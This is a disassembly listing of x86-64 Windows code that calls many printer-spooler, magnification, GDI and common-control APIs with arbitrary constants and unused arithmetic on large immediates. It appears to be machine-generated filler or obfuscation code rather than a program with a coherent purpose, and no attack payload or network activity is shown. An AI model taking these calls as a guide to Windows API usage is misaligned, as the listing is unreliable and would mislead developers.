lea rdx, [rsp + 0x1a310]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4664], eax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xad
lea r9, [rsp + 0x8dd0]
lea r8, [rsp + 0x1ef90]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x469c], eax
lea rdx, [rsp + 0x1ef90]
mov rcx, qword [rsp + 0x8eb0]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x46a8], eax
jmp 0x14019f232
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x80e0], rax
jmp 0x14019f232
mov r9d, 0xf2
mov r8d, 0xe0
mov edx, 0x76
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov edx, 0xeb
mov ecx, 0xbd
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8bf0], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4654], eax
jmp 0x14019f79c
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8b28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa3
lea rax, [rsp + 0x4668]
mov qword [rsp + 0x20], rax
mov r9d, 0x1d
mov r8d, 0x39
mov edx, 0x2b
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4664], eax
mov r9d, 0x41
lea r8, [rsp + 0x8b08]
mov edx, 0xc8
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4730], eax
jmp 0x14019f79c
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x465c], eax
mov rcx, qword [rsp + 0x8b98]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4730], eax
lea rax, [rsp + 0x46a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x31
lea r9, [rsp + 0x8b08]
mov r8d, 0x5f
mov edx, 0xd1
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x46ac], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
movabs rax, 0x7d5f1574008b1b
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x8bf8]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4660], eax
jmp 0x14019f79c
lea rax, [rsp + 0x4674]
mov qword [rsp + 0x20], rax
mov r9d, 0x75
mov r8, qword [rsp + 0x8c00]
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4654], eax
lea rcx, [rsp + 0x1a288]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8bf0], rax
movzx eax, byte [rsp + 0x26f]
add eax, 9
mov byte [rsp + 0xee], al
lea rcx, [rsp + 0x1edf0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4684], eax
mov edx, 0xe3
lea rcx, [rsp + 0x8c08]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8bf0], rax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4644]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x46a0], eax
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x20], rax
mov r9d, 0x9b
lea r8, [rsp + 0x8cf8]
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x46a0], eax
lea r9, [rsp + 0x1a248]
mov r8d, 0x47
mov rdx, qword [rsp + 0x8cb0]
mov rcx, qword [rsp + 0x8bc8]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x467c], eax
lea rax, [rsp + 0x1a2f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8ba0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf6
lea r8, [rsp + 0x4644]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8ea0]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x464c], eax
jmp 0x14019f79c
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x7f10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8110], rax
lea rax, [rsp + 0x1a2f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x88
mov r8, qword [rsp + 0x8de0]
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8cb8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov edx, 0x77
lea rcx, [rsp + 0xee]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x465c], eax
mov r9d, 0xeb
lea r8, [rsp + 0x4730]
mov edx, 0xda
mov rcx, qword [rsp + 0x8cb8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4674], eax
mov qword [rsp + 0x20], 0x23
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x8bb8]
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x46c4], eax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x8c30]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4794], eax
lea rdx, [rsp + 0x1f000]
mov rcx, qword [rsp + 0x8b88]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x46ac], eax
jmp 0x14019f79c
movabs rax, 0x7c5cdd0824fd17
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov eax, dword [rsp + 0x46c4]
mov ecx, dword [rsp + 0x4648]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x46a4], eax
mov r9d, 0xf6
mov r8d, 0xfa
mov rdx, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x8db0]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x468c], eax
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x46a0], eax
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x1ef20]
mov r8d, 0xd1
mov edx, 0xa3
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x46b4], eax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x28
lea r8, [rsp + 0x469c]
mov edx, 0xb7
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x4658], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4710], eax
lea rdx, [rsp + 0x1ef90]
mov rcx, qword [rsp + 0x8bf8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4698], eax
lea rax, [rsp + 0x8c20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa6
lea r9, [rsp + 0x1a258]
mov r8d, 0x1d
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x46d0], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x8cf8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x6b
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8b08]
mov r8, qword [rsp + 0x8d88]
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x465c], eax
mov r9d, 0x11
mov r8d, 0xaa
mov edx, 0x2e
mov rcx, qword [rsp + 0x8b88]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x1a240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a240]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x26f]
and eax, 0x14
mov byte [rsp + 0xee], al
mov r8, qword [rsp + 0x8c10]
mov rdx, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8dd8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4678], eax
lea r9, [rsp + 0x8ba0]
lea r8, [rsp + 0x4680]
xor edx, edx
mov rcx, qword [rsp + 0x8c30]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4678], eax
mov dword [rsp + 0x28], 0x73
lea rax, [rsp + 0x8ba0]
mov qword [rsp + 0x20], rax
mov r9d, 0x88
mov r8, qword [rsp + 0x8e90]
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x465c], eax
mov dword [rsp + 0x20], 0x99
lea r9, [rsp + 0xee]
mov r8d, 0x77
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x464c], eax
jmp 0x14019fb77
mov dword [rsp + 0x20], 0x33
lea r9, [rsp + 0x464c]
mov r8d, 0xf3
lea rdx, [rsp + 0x8b08]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x466c], eax
lea rax, [rsp + 0x464c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xbd
lea rax, [rsp + 0x8b68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7f10]
mov r8, qword [rsp + 0x8b60]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4654], eax
movabs rax, 0x70ae5b87535636
mov rcx, qword [rsp + 0x8b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
lea r9, [rsp + 0x466c]
mov r8d, 0x45
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8b38]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x466c], eax
mov dword [rsp + 0x28], 0xab
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x20], rax
mov r9d, 0xce
mov r8, qword [rsp + 0x8b50]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x4654], eax
mov rax, qword [rsp + 0x8b08]
shl rax, 0x35
mov qword [rsp + 0x8b08], rax
mov dword [rsp + 0x20], 0x58
lea r9, [rsp + 0x4674]
mov r8d, 0x90
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x464c], eax
mov dword [rsp + 0x28], 0x26
lea rax, [rsp + 0x464c]
mov qword [rsp + 0x20], rax
mov r9d, 0xcf
mov r8, qword [rsp + 0x8bc8]
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x465c], eax
mov dword [rsp + 0x20], 0x90
lea r9, [rsp + 0x7f10]
mov r8d, 0x72
mov rdx, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4670], eax
mov dword [rsp + 0x20], 0x27
lea r9, [rsp + 0x8b68]
mov r8d, 0xdb
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x7f10]
sar rax, 0x3f
mov qword [rsp + 0x7f10], rax
jmp 0x14019fb77
lea rax, [rsp + 0x4654]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2f
lea r9, [rsp + 0x1a2c8]
mov r8d, 0xbb
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4674], eax
mov dword [rsp + 0x20], 0x11
lea r9, [rsp + 0x8b08]
mov r8d, 0x8c
mov edx, 0x58
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4674], eax
mov dword [rsp + 0x28], 0x5d
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x20], rax
mov r9d, 0xdb
mov r8, qword [rsp + 0x8b30]
mov rdx, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x464c], eax
mov dword [rsp + 0x464c], 0x9d9e
mov r8, qword [rsp + 0x8b60]
mov rdx, qword [rsp + 0x8b98]
mov rcx, qword [rsp + 0x8b60]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x466c], eax
mov edx, 0x43
mov rcx, qword [rsp + 0x8b68]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c38], rax
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4660], eax
mov dword [rsp + 0x464c], 0xbc2e
lea rax, [rsp + 0x4670]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8f
lea rax, [rsp + 0x4660]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4660]
mov r8, qword [rsp + 0x8b30]
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4670], eax
lea rax, [rsp + 0x8bc8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8b30]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x2f
lea rax, [rsp + 0x8b30]
mov qword [rsp + 0x20], rax
mov r9d, 0xd7
mov r8d, 0x15
mov edx, 0xab
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4658], eax
movabs rax, 0x7c1af3a3d46e7e
mov rcx, qword [rsp + 0x7f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf3
lea r9, [rsp + 0x8b30]
mov r8d, 0xe8
mov edx, 0x88
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x466c], eax
mov eax, dword [rsp + 0x3dc8]
add rsp, 0x39908
pop rdi
pop rsi
ret